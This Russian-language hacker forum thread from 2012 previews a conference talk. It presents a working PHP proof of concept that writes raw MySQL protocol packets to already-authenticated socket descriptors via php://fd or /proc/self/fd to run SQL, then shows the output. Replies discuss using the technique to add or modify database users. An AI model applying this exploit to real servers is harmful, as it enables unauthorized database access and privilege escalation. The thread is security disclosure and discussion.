Старый 30.07.2012, 13:18   #1
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию Атака через файловые дескрипторы [0day]

Напишу для затравки приватное превью доклада на ZeroNights.
Можно юзать как 0day вплоть до 19 ноября

Протокол мускуля доступен тут:
http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol

Как можно видеть, пакеты запросов вообще никак не аутентифицируются и составляются следующим образом:
Код:
echo -e '\xNN\x00\x00\x00\x03SELECT VERSION()'
Где NN - длина запроса.

Когда PHP устанавливает с MySQL соединение, происходит авторизация и после этого соединение ес-но висит на файловом дескрипторе в /proc/self/fd/N или php://fd/N. Естественно для этого сокета уже прошла авторизация и мы можем оттуда без проблем читать и писать через файловый дескриптор с правами того пользователя, который установил MySQL соединение.

Таким образом, можно выполнять SQL запрос через файловые операции записи. file_put_contents, и прочее. Это даже не требует RCE на целевом хосте.

PoC:
Код:
<?php
ini_set('display_errors','on');
$link = mysql_connect('127.0.0.1','root','123123');
if (!$link) {
    die('Ошибка соединения: ' . mysql_error());
}
mysql_select_db("test");
for($i=16;$i<20;$i++){// for MySQL 16 as rule
$f=fopen("php://fd/$i",'w');
if($f){
        //echo fread($f,10);
        echo $i."<br/>";
        fwrite($f,"\x22\x00\x00\x00\x03INSERT INTO aa VALUES(1,'fwrite')");
}
fclose($f);
file_put_contents("php://fd/$i","\x22\x00\x00\x00\x03INSERT INTO aa VALUES(2,'fput_c')");
}
?>
Цитата:
mysql> select * from aa;
+------+--------+
| ID | T |
+------+--------+
| 1 | fwrite |
| 2 | fput_c |
+------+--------+
2 rows in set (0.00 sec)
Можно много чего еще делать не только с базой.
На ZeroNights покажем все: RCE, подмену HTTP - ответа сервера (серверный xss и даже лучше ) и еще много всего, очень хорошо пошла тема.
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 30.07.2012 в 19:34..
d0znpp вне форума   Ответить с цитированием
Старый 30.07.2012, 13:47   #2
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

апнул)
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 30.07.2012, 16:38   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Т.е. если залились на хост с PHP>=5.3.6 и до 5.3.14, 5.4.4 (хотя и cli использовать можно),
то вполне реально поднять привилегии для MySql.

Нужен механизм определения, что данный дескриптор открыт мускулом (чтобы не писать во все дыры, опасно)

Читаем по текущим дескрипторам в цикле "select * from mysql.user" (т.е. ждем подключения root), если прочиталось, с большой вероятностью можем и записать нового юзера (или update имеющегося).

Если протокол для чтения еще не отснифан, то просто инсертим новую запись и проверяем возможность подключиться.

======
Так это и есть попытка записать нового юзера, или правка имеющегося.
----------
Текущий логин - пароль редко, когда рутовый, т.е. есть доступ к базе конкретного пользователя, а остальные (100500) не доступны.
А этот способ возможно легче, чем рутать сервер.

Последний раз редактировалось nikp; 30.07.2012 в 17:06..
nikp вне форума   Ответить с цитированием
Старый 30.07.2012, 16:43   #4
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Механизм есть, читать тоже умеем. Это совсем не трудно, там все в отрытом виде.

Только ИМХО тут поднятие привилегий очень надумано. Если юзер может писать в mysql - это тебе разрешили считай создавать юзеров.

А если ты уже залился на хост, то текущий логин-пароль к базе получаешь из конфига и не надо мучаться с дескрипторами.
Только если амазоны всякие, вот да )

Цитата:
PHP>=5.3.6 и до 5.3.14, 5.4.4
/proc/self/fd/N и любой пых если отдельно chuid не делали
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 30.07.2012 в 17:17..
d0znpp вне форума   Ответить с цитированием
Старый 30.07.2012, 17:34   #5
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
/proc/self/fd/N и любой пых если отдельно chuid не делали
php://fd/N ввели в версии 5.3.6 и закрыли в 5.3.14 (в cli оставили)
http://php.net/manual/en/wrappers.php.php
Код:
(с) 5.3.6	php://fd was added.
Или это не так?
nikp вне форума   Ответить с цитированием
Старый 30.07.2012, 17:47   #6
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Все так, но если есть /proc то все и так хорошо. кстати, если chroot и нету /proc, то и php://fd не поможет.
Но на сях написать не проблема и так же юзать.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 30.07.2012, 22:21   #7
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Интересно, жаль чуток не успел с пхп, надо посмотреть для каких языков актуально.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 31.07.2012, 02:54   #8
destiny
 
Аватар для destiny
 
Регистрация: 12.08.2010
Сообщений: 243
Репутация: 80
По умолчанию

А правда ведь, что \xNN четырёхбайтный на самом деле?
__________________
тьеу-тьеу-тьеу-ти-ть-ть-тьеу
destiny вне форума   Ответить с цитированием
Старый 31.07.2012, 08:42   #9
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Обертка php://fd была известна тем, что работала с правами выше, чем файловые функции и другие обертки.
Во всяком случае, спокойно давало записать в php://fd/2 (проверено), хотя error_log и создан с правами рута системы.

Если в данном случае используется не это, то очень хорошо.
Хотел потестить, хоть в первом приближении, но под руками не оказалось нужной конфигурации.
Все равно, надо ставить и разбираться, до ноября далеко, а тему бросать нельзя.
nikp вне форума   Ответить с цитированием
Старый 31.07.2012, 11:32   #10
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от destiny Посмотреть сообщение
А правда ведь, что \xNN четырёхбайтный на самом деле?
Правда. Там нули в примере куски длины. Пакетик точно правильный.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot